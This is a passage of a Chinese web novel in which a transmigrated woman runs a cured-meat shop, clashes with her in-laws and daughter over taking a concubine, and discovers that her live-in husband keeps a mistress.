“吃过了
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。”张亚男看冷小幸穿着道:“娘,你要出去呀?”
“嗯,我到铺子瞧瞧去。”冷小幸答道。
“哎呀,娘,说到铺子,我觉得咱们家铺子生意不好。就是因为爷爷年纪大了不管铺子,爹也不管,只有娘你一个女人家去张罗,没有立门户的男丁,这才生意不好的。”
张亚男逮住机会道:“娘,你已经生不了,还是抓紧时间给爹爹纳个小妾,生个儿子,生意自然就好了,娘,你也不用整天操心啦。”
冷小幸揉着眉心道:“这些话你从哪里听来的?”
“啊?”张亚男一脸茫然道:“没从哪听来呀,都是我自己想的呀。”
冷小幸实在无法理解张亚男的脑回路,她没有好为人师的习性,为了防止张亚男继续歪缠,她决定用魔法打败魔法。
“咳,”冷小幸严肃道:“你已嫁入韩家,是人家的儿媳,怎么能天天往娘家跑?还插手娘家的事?叫外人知道,不得戳你的脊梁骨,赶紧回韩家去吧,以后少来。”
“娘。”张亚男不知所措叫了一声。
冷小幸抬脚,把张亚男拽出房门,一边走,一边道:“记住没?好好待在婆家,没事别乱跑。”
到了街上,冷小幸又说了几句。
张亚男插不上嘴,只能:“嗯嗯,啊啊。”的被冷小幸赶走了。
临街肉铺里的伙计见了,对冷小幸道:“姑奶奶怎么走了?她还没拿让我剁的排骨呢。”
自张亚男出嫁后,每次到娘家都要顺手带些肉回婆家,以前张阿蛮不计较,那时因为张亚男是她亲生女儿,她盼着张亚男在婆家过得好。
但这跟冷小幸可没关系,她对伙计道:“以后不许给了,亚男不懂事还当以前在家做姑娘呢。韩家又不缺这几块肉,叫韩家左邻右舍看见了,还不知道编排出什么话来。”
张阿蛮系统有心阻止,又怕冷小幸说的有理,犹豫之际,伙计已“哎,”的一声答应了。
冷小幸抬头,见铺子上挂着匾额“张记肉铺”。
柜台是整块楠木打造油光锃亮,上面摆着大块的肉。
柜台上还有铁框,诓上挂着钩子,钩子上是切成长条的猪五花、腿肉、里脊等等。
冷小幸看过自家铺子,又逛同街其它店铺。
都是几十年的老街坊,见到冷小幸都笑着跟她打招呼,没人觉得她是刺探商业机密。
其实,也没什么可刺探的,冷小幸只是借着聊天看看别人铺子里卖什么。
一条街,很快逛完,冷小幸又去城中其他店铺看看。
她惊讶地发现竟然没有卖卤肉、腊味、熏鱼、酱鸭等的铺子。
“为什么要卖这些东西?普通人家自己买回去自己做就行,大户人家有厨娘更不需要买。”张阿蛮系统面对冷小幸的询问,比她更惊讶。
冷小幸心中暗道:“这是什么歪理,两者之间根本就没有因果关系。”
不过,她只是心里想想,没有跟张阿蛮系统为此争辩,想来是主脑设计图生事粗糙滥制才会如此。
“估计那个该死的主脑只想让女人跪着做贤妻良母,对于其他根本不在意,倒是给我节省了时间。”冷小幸摸着下巴心想。
36.代夫纳妾求子的商户女4
冷小幸买了好些鸡鸭鱼回家,在厨房里热火朝天忙起来。
厨娘见状忙上前帮忙,边杀鱼边问冷小幸道:“东家,不年不节你弄这么多,是要送人吗?”
“嗯,”冷小幸随口答应。
她用风干、腊制、卤味、酱味、熏制、糟渍六种不同的制作方式处理买来的鸡鸭鱼及自家铺子的猪肉。
这些肉制半成品制作时间不同,少则几个时辰,多则十天左右。
冷小幸将做好先让厨娘、伙计等人尝过,又亲自多次到城中几个市集售卖,如此将所有制作好的半成品轮番卖过后,她记下最受欢迎六种:糟鱼、风干鸡、酱鸭、熏鱼、腊肉、卤鸡鸭杂。
高氏与郭楚生归家,就见前院墙角,放着几个又大又深的腌肉陶缸,还有几个陶瓮糟卤里面浸泡着鱼。
前后院子的空地上哥搭着几列高竹架,上面悬挂腊肠、风干鸡、熏鱼。
后院厨房灶台上的大盆里盛着卤鸡杂、卤鸭杂,案板上放着几只酱鸭。
高氏问身旁正帮着提包袱丫鬟:“家里出了什么喜事吗?怎么做了这么多?”
“家里没事,这些是东家要拿出去卖的。”丫鬟回道。
高氏听了撇嘴道:“真是胡闹,谁会买这些东西。”
说罢,气哼哼回东厢房了。
郭楚生跟在高氏身后,问丫鬟:“娘子呢?”
“东家去村子收肉去了。”
郭楚生闻言点点头,没再多问。
三人进屋,丫鬟放下包袱,拿起桌上茶壶去厨房灌热水。
高氏对郭楚生道:“瞧瞧,明知道咱们今日回来,不在家里等着,还跑出去。哪有这样做人媳妇的?”
“娘,”郭楚生低声道:“您就少说两句吧。”
高氏看着郭楚生灰败的脸,意识到儿子又想起他是入赘的,不由暗恨自己说话不留神。
说来都怪郑夫子,要不是他,儿子怎么会欠下那么多钱?堂堂举人老爷,做官也使得,竟到屠夫人家里入赘还钱。
当时不是没有乡绅富户看中儿子,且是正常嫁娶。
可儿子偏偏答应张屠夫,也不知道他到底图什么。
若说图张阿蛮这个人,那根本不可能了。
张阿蛮是谁?十里八乡有名的泼辣户,长得又丑,哪里配得上自己英俊有才的儿子。
偏又只生了个小丫头片子,这么多年无所出。
想到这,高氏又催郭楚生赶紧纳妾生儿子,她还说道:“难道你怕那个不下蛋的母鸡不成?”
“娘!”郭楚生刚打断道。
丫鬟已端着饭菜和茶壶进来。
母子奔波一路,都有些饿了,便歇这话,端碗吃饭。
吃的是糟鱼烧豆腐、风干鸡萝卜汤、酱鸭抄青椒、熏鱼拌黄瓜、一碟卤鸡鸭杂并两小碗腊肉蒸糯米饭。
饭菜数量虽多,但每样分量少,两人吃刚好。
高郭母子吃了,倒觉得这些肉确实比往日吃的好。
饭后,高氏对着来收碗筷的厨娘道:“几日不见,你手艺更好了,这些肉做的好。”
“老太太高看我啦,我就是抄抄炖炖,那些肉都是东家亲手做的,我们都觉得好吃。”厨娘笑呵呵道。
高氏垮下脸,没接话茬。
“娘,”郭楚生对高氏道:“我去温书了。”
高氏忙道:“去吧,夜里早点睡,也熬太晚。”
郭楚生答应,到书房看书。
他不是没想过用举人身份去做官,可他实在是不甘心。
再者,自从出了郑夫子的事,总有些小人说酸话,说他的解元之位名不副实。
郭楚生就想争口气,考上进士好好堵堵那些人的嘴。
离下次秋闱还有近一年,他打算从此刻苦读书、挑灯夜战。
几天后,冷小幸回来。
她这次收获颇丰,与几个村庄的农户谈好以后每月初三送鸡鸭上门,送来时要活的,且无病无残,价钱还比市集便宜。
与高氏、郭楚生匆匆见了一面,冷小幸也顾不上他们,先把这次顺路带回来的鸡鸭该宰的宰,该杀的杀,又腌又晒。
一通忙活,连一起坐下来吃顿饭的时间都没有。
等一切搞定,冷小幸才知道这几日郭楚生住在书房。
她对此甚是满意,抬脚去了书房。
郭楚生见冷小幸来了放下书本道:“娘子,我要温书,怕是夜里会打搅你睡觉,以后我就睡书房吧。”
“科考要紧,”冷小幸随口接话道:“我来是想告诉相公,明日我要去闽江口渔港,后日还得去杂货铺、酒坊看看。以后咱家铺子有的忙,相公既然无事就来帮忙吧。”
郭楚生看着堵在门口的冷小幸,张了张嘴,无言以对。
“他怎么了?突然哑巴了?”冷小幸皱着眉对张阿蛮系统吐槽道。
张阿蛮系统忍不住道:“他刚跟你说他要温书,连觉都不回房睡,你也才说完科考要紧。你让他帮你腌肉?”
“科考是要紧呀,”冷小幸振振有词道:“但跟他有什么关系?他又考不中。再说了,什么叫帮我,家里的活本来就该男女分工,一人一半,何况他还是赘婿。”
“难道还能天天打着科考的名义,带着这自个老娘吃白饭?”冷小幸鼻孔哼气:“对了,还有那个老婆子,明明身体好得很,能吃能喝,能吧唧嘴的,刚才光看着我干活,她也吃得下我家的饭,一会我就找她去。”
郭楚生还是不说话。
冷小幸不耐烦道:“相公?想什么呢?说话呀。”
“娘子,”郭楚生定了定神道:“我要科考,实在没时间,你雇几个人吧。”
“雇人?”冷小幸阴阳怪气道:“相公你是不当家,不知道油盐柴米贵呀,咱家哪里再顾得起人。”
“我......”
不等郭楚生再次拒绝,冷小幸又道:“再说,这刚开始要做半成品生意,千头万绪铺子乱糟糟也不好挑人。这样吧,相公帮我打理几日铺子生意,算算账。等过些时日,再雇人。”
冷小幸把话说成这样,郭楚生实在不好推拒,只得道:“既如此,为夫便帮娘子几日。”
“嗯,”冷小幸点头道:“那相公看书吧,别太晚睡,明还要早起干活。”
郭楚生虽觉冷小幸与张阿蛮有些不同,但并未起疑,因为张阿蛮本身也不是走温婉恭顺路线的淑女。
冷小幸行动力强,两三天的功夫便与两三家鱼户、一家杂货
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铺、一家酒坊、一家糟坊谈妥合作,签订文书。
接着把原来肉铺略微改装了下,使其更适合卖半成品肉类,又做了些糟鱼、风干鸡、酱鸭、熏鱼、卤鸡鸭杂、腊肉,备好货源,新的“张记腊肉铺”就正式开张了。
随着生意越来越红火,已经被她强行动员起来的高氏、郭楚生都得继续给铺子当牛马,彻底摆脱了吃白饭的身份,可喜可贺。
张亚男也来过几次,每一次都是旧事重提,非要冷小幸给郭楚生纳妾,赶紧给她生个弟弟出来。
冷小幸继续采取魔法对轰,要她不要插手娘家的事,赶紧回婆家去。
几次之后,张亚男魔法免疫了,她赖着不走,对冷小幸道:“娘,你到底在倔什么?眼看着铺子生意越来越好,没有儿子,你将来要给谁呀?”
冷小幸故意道:“当然是给你,你不要吗?”
张亚男嫌弃道:“我才不要呢!我相公眼看着就要考秀才了,将来是要考进士做官的,我哪能做这些下贱营生?”
“娘,你还是赶紧给爹纳个妾,生个儿子不就可以把铺子传下去了?难道你愿意将这么多心血付诸东流,白费了?”张亚男三句话不离给爹纳妾生子。
“还真是嫁了读书人,都会四个字,四个字往外蹦了。”冷小幸冷笑道。
张亚男没听出来冷小幸语气里的嘲讽,抱住冷小幸的胳膊撒娇道:“娘~”
“铺子给谁,你就不用操心了,我已选好了人。”冷小幸伸手推开张亚男。
“谁呀?”
“喏,”冷小幸一抬下巴,示意张亚男往院子里看,有个正在挂风干鸡的年轻小伙:“你叔爷爷的孙女,铁妞。”
张铁妞父母早亡,跟着张厚山长大。
她是主动来帮忙的,干了很多天,既吃苦耐劳又机灵能干,颇得冷小幸欢心。
“那怎么行。”张亚男立刻反对道:“娘,你糊涂了。亲戚家的人哪有自家的人亲?你怎么给外人,都不给弟弟呢。”
哪来的弟弟?
冷小幸就不懂了,张铁妞才是正经与张阿蛮、张亚男有血亲关系的亲人。
郭楚生纳妾生的儿子,可跟她们母子又什么关系?
张亚男脑子到底在想些什么?
冷小幸没兴趣知道,她不耐烦地赶张亚男走,让她以后别再来了。
张亚男不肯走。
冷小幸便威胁她道:“你要不走,我就去韩家告你不孝。”
“我哪里不孝了?”张亚男失声道。
“家里铺子这么忙,所有人都在干活,连你爹你奶奶都得干。只有你每次回来,就这么干坐着,只知道连吃带拿。这不是不孝,什么是不孝?”冷小幸怒道:“你要么现在就去干活,要么就走。”
张亚男委屈地掉眼泪,见冷小幸不为所动,跺跺脚跑了。
张阿蛮系统心疼道:“她还是个孩子,你好好跟她说嘛。”
“都这么大了还是孩子?”冷小幸对着张阿蛮系统开炮:“你是怎么教的?教的她分不清楚谁亲谁疏吗?好吃懒做不干活就算了。不知道脑子哪根弦搭错了,非想要个同父异母的弟弟干什么?怎么?她不知道她爹是入赘的?不知道还没影的弟弟将来抢的是她的家产?”
37.代夫纳妾求子的商户女5
“她,她小时候很乖的,一点点大就帮我干活。”张阿蛮系统磕磕巴巴解释道:“不知道现在为什么变成这样。”
冷小幸没兴趣知道张亚男是怎么从为母分忧为母分忧的好女儿,变成是非不分的蠢货。
她忙着去酒楼拓展销售渠道。
自从冷小幸卖肉制品爆火后,有一些肉铺也跟风售卖,现下的商户执照对于经营范围只有大致分类,没有限制肉脯不能卖其它肉制品。
但不知是因张记腊肉铺是城中第一家,还是因为冷小幸做味道就是好。
其他家肉铺总不如张记腊肉铺卖得那般好。
对于出现竞争对手这种现象,冷小幸没有丝毫担忧。
做生意嘛,总不能不允许别人卖,除了朝廷垄断,哪有一家独大的买卖。
冷小幸带着张铁妞,拿着装满制肉制品的食盒,挨个拜访城中大一些酒楼。
如今张记腊肉铺的肉食供不应求,这些酒楼巴不得与冷小幸合作,没有脑子不清楚的对冷小幸拿乔。
酒楼掌柜话说一个比一个好听:“哎呦,张掌柜您来了,我正想着去您家肉铺拜访呢,只怕您正忙着,没敢贸然登门,倒不想您竟先来了,快请进,里面坐。”
说好话又不要钱,这些酒楼掌柜能把生意做大,哪个不是八面玲珑的人物?
既然都有意合作,冷小幸也没有趁机要高价的意图,酒楼也不想压价太狠导致交易不成,反倒让其它酒楼得利,所以很快谈好供货条款,签订文书。
两三天的功夫,冷小幸便与城中七八成的酒楼成为了合作伙伴。
这下,货源和销售都有了稳定渠道,生意算是上了正规。
冷、张拿着最后几份文书两人回家时,见自家铺子前排着长队。
饶过人群进院,又见前后院都挂满了各式各样的肉,陶瓷缸多得都快没地放了。
张铁妞跟着冷小幸进屋道:“表姑,是不是得扩大规模呀?院子里放不下了。”
“不必,”冷小幸道:“我一个人也做不了多少。你们还没出师。以后给酒楼把货送去,咱们自家铺子每日限量销售就行。”
张铁妞呲着大牙笑道:“都听表姑的。”
“这几日你辛苦了,快回家歇歇吧。”冷小幸把文书放倒梳妆台的匣子道。
“不用,”张铁妞拍着胸口道:“我不累,表姑,我给你打下手。”
“行,”冷小幸喜欢张铁妞眼里有活,朝气蓬勃。
“那我到厨房等表姑,”张铁妞说着退了出去,到厨娘丫鬟的屋子,换了身她专门放在这干活时穿的衣裳。
张铁妞赶到厨房与冷小幸差不多前后脚。
冷小幸换了件墨蓝粗布短褂,边走边挽袖子。
张铁妞快步上前从厨房墙上取了两个油布围裙,递给冷小幸一个。
冷小幸接过,手指着灶台上的茶壶对张铁妞道:“这是我让他们备下的菊花茶,你喝一碗。”
张铁妞听了,拿了两个碗,给冷小幸也倒了一碗。
两人一饮而尽,开始干活。
冷小幸从灶台旁的水盆里抓起一条海鲈鱼,攥紧鱼头往案板上重重一磕,接着利落刮鳞去鳃斩去头尾,剁成半指厚的鱼块,她一边干,一边教张铁妞:“糟鱼,要选三斤左右的,肉质紧实、刺少,最宜淹糟。”
将切好的鱼块往案板角落推推,冷小幸把刀递给张铁妞。
张铁妞接过,继续宰杀水盆里剩下的鱼。
冷小幸则净手后取了个陶瓮,往里面倒入陈酒糟、粗盐、姜丝、陈皮碎、少许白蔻等调料搅拌均匀。
杀完鱼的张铁妞,洗过手,往一个大陶盆壁上涂调料,涂过一层再将鱼块摆入,摆一层涂一层调料,一层一层码匀压实,最后压上青石罩上纱布挪到院子墙角。
她做这些的时候,冷小幸与厨娘杀了五六只三黄土鸡,七八只番鸭,她们先把放血后的土鸡丢进盛着滚沸热水木盆,一手攥住鸡脚,一手快速搅动,让每一根鸡毛都浸透水汽,烫够一炷香的时辰捞出。
两人蹲着在一处,一边聊天,一边揪鸡毛,揪得差不多再用边缘锋利的陶片,细细刮去残留的绒毛与毛囊。
腌好鱼的张铁妞接过冷小幸手里的土鸡和陶片。
“仔细些,”冷小幸指着鸡爪缝隙道:“这里的细绒也要剔干净。”
“知道,表姑放心。”张铁妞朗声道。
一旁的厨娘笑道:“东家放心吧,铁妞姑娘仔细着呢。”
“我知道,不过白嘱咐她一句。”冷小幸也笑盈盈道。
冷小幸在方才张铁妞洗净的陶瓮又放入花椒、八角粉、米酒,搅拌均匀后拿过处理好的土鸡,一边抹调料一边揉搓皮肉,把鸡身、鸡腔内壁每一处都涂抹到,再吊到檐下的竹架上。
三人配合很快将鸡都吊了起来。
丫鬟从外面回来,手里提着几个油纸包,欢快道:“东家,今天运气好,抢了好几种点心,您快尝尝。”
冷小幸指着地上的番鸭道:“等我们把鸭子处理了,咱们一起吃,你给伙计们每样留两块。”
“哎。”丫鬟脆生生应道,她进厨房把点心分好,也出来帮忙。
冷小幸把自个手里的鸭子递给丫鬟,起身去灶台生火。
火起后,冷小幸舀出小半坛陈年酱油倒入陶锅,小火慢煨。待酱油微微冒起细泡,再将已敲成碎粒的冰糖丢入锅中,用竹筷不停搅动,等糖粒完全化开、酱汁泛起琥珀光泽,依次撒入桂皮、八角、砂仁、陈皮碎、一小撮粗盐、三勺客家米酒,盖上盖子再滚半炷香,让香料的辛香与酒香尽数融入酱汁。
酱汁熬好,鸭子也陆续处理好了。
先将鸭子放一边,把酱汁倒入一个大盆,待酱汁冷却到温热,再把番鸭放入,反复揉搓、浇淋,确保每一只番鸭的每一寸皮肉都裹满酱汁,将盆封好。
等待酱汁冷却时,把鸡鸭杂焯水,丢到老卤汤中,再添一把茴香、葱段、姜片、半勺蚝油,大火煮沸后转小火卤半个时辰即可。
做完这一切,冷小幸大手一挥道:“今日完工,明日再做其它,洗手吃点心吧。”
很奇怪,明明冷小幸也没藏着掖着,可同样的用料,张铁妞、厨娘等人做出来的就是没有她做出来的好吃。
要让冷小幸说出个所以然来,那就是无他,手熟尔。
锅碗瓢盆收拾好,手洗
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干净,摘下围裙的几人,坐在堂屋的四方桌上吃点心。
光饼、蛎饼、芋粿、马蹄糕、花生糕、米糕,冷小幸样样都喜欢,每样都尝了一块,赞不绝口。
几人正吃着呢,高氏头戴抹额,慢慢走过来了。
冷小幸起身将嘴里的点心咽下去道:“您在家呀?我还当您不在呢。我们干了半天的活,也没见您出来。今儿又是哪不舒服呀?”
“风疾犯了,”高氏捂着脑袋,跨进门道“头疼的厉害。”
冷小幸上前将高氏扶着坐下道:“给您请个郎中吧。”
高氏连连摆手道:“不用、不用,老毛病了。上次大夫开的药丸还有,已经吃了,不要浪费钱。”
“真的不用?”冷小幸关切道。
高氏再三表明她不用看郎中,她可没忘记上次冷小幸是怎么折腾她的,闹到半城的郎中都来了,街头巷尾都在传她为了磋磨儿媳妇装病,害得她到现在都抬不起头出门。
冷小幸见状,嘴角勾笑道:“那便罢了。正巧,我记得您也喜欢吃点心。”
高氏刚想顺着话茬,伸手拿点心,就听冷小幸在旁道:“可是上次大夫说了,您这风疾呀,得忌口,荤腥、油腻通通都不能吃。”
闻言,高氏探出的手转而摩挲起胸前的衣襟。
“真可惜,您那就在这看着我们吃吧,也乐呵乐呵。您可要管住嘴,只需看,不需吃哦。”冷小幸说完,又招呼在座的其他人道:“这点心放久了就不好吃了,你们都吃,可千万别剩下。”
高氏听了,只觉得有一团火从心口一直窜到了太阳穴。
她道:“我是不能吃。楚生怎么不在?给他留了没?”
“瞧您这话说的,我能不惦记相公吗?”冷小幸满面春风道:“只不过他这一日三次的来找我说算账算的上火,哪能吃这油腻腻的点心呀?厨房里还有温着的菊花茶,您放心,待会我亲自给他送去。”
高氏闻言,原本不疼的脑袋像被人拿木棍敲似的,一抽一抽的疼,连眼睛都睁不开了。
剩下的人很有默契飞快将点心吃完,一抹嘴,都去忙了。
冷小幸看着那几人的背影,对高氏道:“您坐着啊,我去给相公送菊花茶。”
张阿蛮系统无奈道:“你这是做什么?老跟她过不去。”
“怎么?你忘了她是怎么在你爹死后,拿各种鸡毛蒜皮的小事拿捏你、恶心你的?”冷小幸边往厨房走边道:“我只不过以彼之道,还施彼身罢了。”
张阿蛮系统呆了片刻才道:“谢谢你。”
冷小幸一手拎着壶,一手推开书房的门,抿嘴笑道:“不客气。”
进屋的冷小幸诧异发现,郭楚生竟然在看账本,而不是那些圣贤书。
郭楚生起身,接过茶壶道:“娘子怎么来了?我正算账呢,你稍坐片刻。”
冷小幸环视一圈,见只有窄床能坐,她嫌弃的皱皱鼻子,在书房晃悠,随便拿了本科举时文,站着看了起来。
正看的入迷,眼前多出一个账本。
郭楚生笑道:“娘子怎么看开这个了?”
他一面说,一面抽走科举时文,将账本塞到冷小幸手里。
38.代夫纳妾求子的商户女6
冷小幸拿过账本,两步走到书桌前把账本摊开,坐下细看。
郭楚生做的账目清楚,这段时间他虽然老找冷小幸明里暗里表示不想再算账,只想读书科举,但他做的账没有任何问题,更不存在借机中饱私囊。
张阿蛮系统曾因此对冷小幸说过:“你看,我就说他是个好人吧。”
“说他是凶手的人是你,说他是好人的人也是你?”冷小幸磨牙道:“你什么意思?”
“我,我不是故意的,我真的感觉就是他害的我,但我心里又有一个声音对我说‘他不是这样的人,他一直是一个好人,他是爱我的。’”张阿蛮系统辩解道。
冷小幸了然道:“我明白了,放心,我会让你看清他到底是个什么样的人。”
看过账本,这几日新入的账仍没问题,冷小幸对郭楚生道:“相公这几日辛苦了,劳烦你再坚持几天,我打算招个账房先生,等人到了,你就不必再操心铺子里的事,安心温书吧。”
左右也试探不出什么,且术业有专攻,相比之下,让铺子经营规范起来更为重要。
冷小幸是这么跟张阿蛮系统解释的,但张阿蛮系统总觉得是冷小幸不想看见郭楚生总来烦她。
“如此甚好。”郭楚生欣然道:“对了,亚男几日没回来了?可是出了什么事?”
“我说了她几句,闹脾气呢。”冷小幸敷衍道。
郭楚生叹了口气道:“她还小,有做得不对的地方,你做娘的担待些。”
“你知道她为什么惹我生气吗?”冷小幸很想知道郭楚生会如何评价张亚男想给他纳妾生子。
“我哪知道,”郭楚生面色不变道:“你们娘俩好一时歹一时的。”
“罢了,明日我去看看她吧。下次她回来,娘子你就大人有大量,别跟她计较了,女儿家在婆家比不得在娘家自在。”郭楚生一副好父亲的摸样。
冷小幸自然不会拦着郭楚生,她笑道:“知道了,你去韩家别空着手,咱家铺子里的肉每样拿一些,再买点茶果一并送过去,跟亲家太太说一声我忙着做肉,改日再去。”
“好,”郭楚生连连答应。
冷小幸与郭楚生没其它话说,便回房歇了。
郭楚生留在书房温书准备科举。
第二日,冷小幸继续继续带着张铁妞等人做肉,忙活了一天,刚吃过晚饭。
郭楚生回来了,后面跟着两个韩家家仆,一个拎着食盒,另一个捧着几样时新缎子。
家仆给冷小幸请安道:“这是我家太太送给夫人的。”
冷小幸让丫鬟、张铁妞上前接过收下,她则拿出个陶瓷罐递给家仆道:“多谢亲家太太想着。这是我自个晒的玫瑰花,疏肝理气,送亲家太太喝,请她别嫌弃。”
家仆弯腰接了,告辞。
其他人也都散了。
冷小幸问郭楚生道:“怎么这么晚?”
“劝了亚男几句,她也不告诉我到底为什么生气,只嚷着以后再也不回来了。”郭楚生无奈叹气道:“我本要回来的,谁知恰好亲家老爷归家,听说我去了,便派人请我过去,我们谈论了几句诗词文章。天晚了,被亲家老爷留下吃了顿饭,这才回来。”
冷小幸点头道:“还是你们读书人能说到一块。”
这话引着郭楚生脸热了热。
冷小幸对别人的男人没兴趣,除非必要并不正眼看郭楚生,遂没瞧见这一幕。
郭楚生轻咳一声道:“账房找的怎么样?可有合适的?”
“还没有。”冷小幸嘴上应了一声,她心里想:“烦死了,又来了,一天催八遍。”
却不想,郭楚生道:“既如此,且先不必找,我暂且打理着便是。”
冷小幸挑眉诧异道:“你不科考了?”
“考还是要考的,左右还有一年时间,也来得及。”郭楚生柔声道:“咱们家从未用过账房,一时半会怕是找不到合适的。我若不管,你一天忙里忙外的,若是咱们叫人家骗了可怎么办?倒不如我先管着,等稳定些,再交还给你管更为妥当。”
“好。”冷小幸立刻应下道:“那便只招两个学徒吧。”
几天后,冷小幸终于招到两个满意的学徒。
肉铺小课堂正式开课,学徒、伙计、张铁妞、厨娘、丫鬟,想学的她都教。
其实,冷小幸做的之所以比别人做的都好吃,并不是她有什么独家秘方,而是因为她能把每一个细节都做到位。
这并不是说,她的每一个动作都是丝毫不差,没有区别,而是因为她会根据天气、风向变化,调整腌制晾晒的时间,每次调料比例也会根据肉的肥瘦做出少许调整。
这些细微变动是经过无数次实践出来的经验之谈,其他不想她活了无数年,自然比不了。
张铁妞等人都学得很认真。
这年头,除了知识被高锁于庙堂之外,几乎任何一样技能都不会轻易外传。
在这个时代,教别人一样可以养活自己的技术,无异于再生父母。
冷小幸倒不期望他们有什么回报,只是很喜欢这些人踏实、肯干、能吃苦。
令人没想到的是高氏也像变了一个人般,不再像以前一样不是腰疼腿疼,就是头晕眼花,总之能偷懒就偷懒,现在是积极主动,参与到每一种肉制作的每一个步骤。
她还对冷小幸道:“以前都是咱们自家人,厨娘、伙计们那都是跟着咱们家几十年的老人了。如今新来的这几个人,到底还要瞧瞧可靠不可靠。”
咱们家?高家?郭家?还是张家?
这新来的人里也包括被冷小幸选中继承铺子的张铁妞吧?
别说冷小幸察觉不对。
张阿蛮系统都对冷小幸道:“事有反常必有妖。你不管?”
“管什么?人家母子乐意干活。有什么不好的?”冷小幸笑得意味深长。
没管高郭母子,冷小幸一心一意培养张铁妞等人怎么选肉、切肉、晾肉等等。
经过一个月的教学后,她开始逐步放手,最后只把控最关键的调料配比,其它都交给其他人做。
躺平过着咸鱼生活的冷小幸很是惬意。
张阿蛮系统却有些急了:“你不是答应我,要帮我查清郭楚生到底是个什么样的人吗?”
“呵——欠,”冷小幸张大打着哈欠道:“哎呦,别急嘛,这才多久?你也
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知道上个月,我天天在忙正事,说起来,你学会怎么做肉了没有啊?”
“我学这个做什么?”张阿蛮系统莫名其妙道:“我已经死了。”
冷小幸刚张口欲言,耳边传来敲门声,她道:“进来。”
推门进来的是张铁妞,神色凝重。
冷小幸见状,不由从半躺着坐直身子问道:“出了什么事?”
张铁妞近前半蹲低声道:“表姑,我发现了一件事。我说了,你别着急上火。”
“呵,”冷小幸看着张铁妞严肃的面庞轻笑一声道:“说吧,什么事?神神秘秘的。”
张铁妞将头凑近,声音更低,她道:“表姑父说谎。”
“什么?”冷小幸不明所以。
“前几天表姑父说去他要去韩家看堂妹。可我去城西送货,远远见他从桂花巷里出来,韩家明明在城南。当时我以为是看错了,没当回事。”张铁妞解释道:“今天表姑父说他要去姓谢的秀才同窗家,我记得谢秀才住在城外,可方才我送肉又看到表姑父进了桂花巷。这次我瞧着真真的。”
“他看到你了吗?”冷小幸变脸道。
张铁妞想了想道:“应该没看到。”
“好,这事先不要声张。你去找一两个面生的后生,等下次姓郭下次要出门,就叫后生去那巷子蹲着,瞧瞧他是不是又去了,进了哪个门?若是真去了,就叫后生跟巷子里的婆娘们打听打听那户人家的情况。”
说完,冷小幸打开钱匣,取了几个碎银给张铁妞。
张铁妞连连摆手,推辞不要。
冷小幸佯装生气道:“你不要,难道叫人家白干活?哎,别说你有钱,你哪来的钱?那都是你辛苦的血汗钱,哪能让你出钱呢?”
“记住,找人的时候谨慎些,别叫姓郭的发现。一定要找口风紧的后生。”冷小幸把碎银强行塞到张铁妞手里道。
张铁妞保证道:“表姑放心,我一定办好。”
张铁妞走后,张阿蛮系统完全忘了刚才跟冷小幸在说什么,一个劲地尖叫。
冷小幸烦不胜烦吼道:“你别叫了。”
“一定是姓吕的小贱人,这次没有我让她进门,他们竟然在外面勾搭成奸。”张阿蛮系统不理,狂怒道:“姓郭的裤腰带一松就敢在外面养女人。气死我了,上一世我就该拿杀猪刀捅死这对狗男女。”
大约是张阿蛮系统跟冷小幸久了,受了些冷小幸的文化熏陶,初时叫骂还能听,但骂着骂着就往下三路去了,还没有重样的,污言秽语不断。
冷小幸听得直皱眉头,叫来了丫鬟道:“最近姑爷那有什么异常?”
丫鬟未通人事,有些茫然摇头道:“没有啊。”
“你收拾屋子有没有见到多出来什么东西?或者有什么不对的地方?”冷小幸循循善诱。
丫鬟道:“我最近忙着跟东家学做肉,而且亲家老太太说姑爷要读书,叫我别去书房打扰官爷。有要洗的衣裳也是亲家老太太给我。”
“我刚跟你说的话,不要让姑爷和亲家老太太知道。”冷小幸吩咐道。
丫鬟走后,张阿蛮系统非要冷小幸马上把郭楚生、吕令仪抓起来浸猪笼。
39.代夫纳妾求子的商户女7
冷小幸道:“急什么?捉奸要拿双,就算要杀他们也得有证据才行。”
“你还想要什么证据?下次姓郭的出门,你带着人跟过去,把他们堵在床上不就行了?”张阿蛮系统嚷道。
“那多没意思,我也怕辣眼睛”冷小幸施施然道:“你就瞧好吧。”
她起身到高氏那走了一趟,聊了几句闲话。
当天晚上,高氏就发起热来,请了郎中来说是染了风寒,要好生吃药卧床静养。
冷小幸送走郎中,转头就让丫鬟多照顾郭楚生的饮食起居。
在丫鬟的留心下,不久就发现郭楚生的衣服上有股脂粉香,张阿蛮很少用脂粉,冷小幸随遇而安也不用。
若是张阿蛮在时,她忙铺子生意,身上难免带点肉腥味,衣服上却是皂角香。
如今冷小幸虽不像张阿蛮身上有肉腥味,但她日日调配调料,身上是香料和皂角混合的味道。
这脂粉香只能是郭楚生从外面沾染上的,更何况丫鬟也还从袖口发现几缕青丝,发丝细软绝不是张家母女的。
张铁妞也找人查证城西桂花巷新搬来子一对夫妻,带着个未留头的粗使丫头。男人姓文,女人姓柳不姓吕。说是男人在外面做事,所以隔三差五才能回来。
虽在一城住着,但街与街之间、坊与坊之间来往不多,所以这么久以来,也没人看出姓文的男人竟是城东张家腊味铺的赘婿。
冷小幸倒是多问了张阿蛮系统一句:“不是说当年郭楚生很有名吗?他赘入你家,想来也是一时新闻。如今竟没一人认得他,来张家报信?”
张阿蛮系统倒不觉奇怪,一来,郭楚生有名是十几年前的事了。
二来,当时皆是传言,真正见过他的人并不多。
三来,郭楚生去必定要做些遮掩,没人认出也合理。
四来,即便有人认出,所谓“宁拆十座庙,不会一桩婚。”“各扫门前雪莫管他人瓦上霜”,又什么会有人专门给张家报信呢?
“原来如此。”冷小幸点头道。
张阿蛮系统道:“这下,有证据,确凿无误了吧?你还不把他俩抓起来浸猪笼!”
“不行,”冷小幸反对道:“主脑没告诉过你,我来告诉你,你们这些连贤妻良母的小世界,作为既得利益者的丈夫,是这些小世界的根基。在还没有让其他人成为这个世界的基石之前,贸然杀了他们会摧毁小世界,你跟我都得死在这。”
“那又怎么样?我不在乎。”
“你不在乎你的性命,也不在乎我的。那你也不在乎你女儿张亚男吗?”
张阿蛮系统语塞,十月怀胎含辛茹苦养大的女儿,怎么忍心让她就这样死去?
察觉到张阿蛮系统态度松动,冷小幸道:“给我一点时间,我保证让郭楚生比死更痛苦,现在让他死是便宜了他,抵不上你吃过的苦,不如先让他失去最在乎的名声,如何?”
“好,你打算怎么做?”张阿蛮系统道。
冷小幸掰着手指头道:“首先要弄清楚郭楚生养外室的钱是哪来的?我查过,铺子里的钱他没有挪用。”
“会不会是他做假账,你没看出来?”张阿蛮系统道。
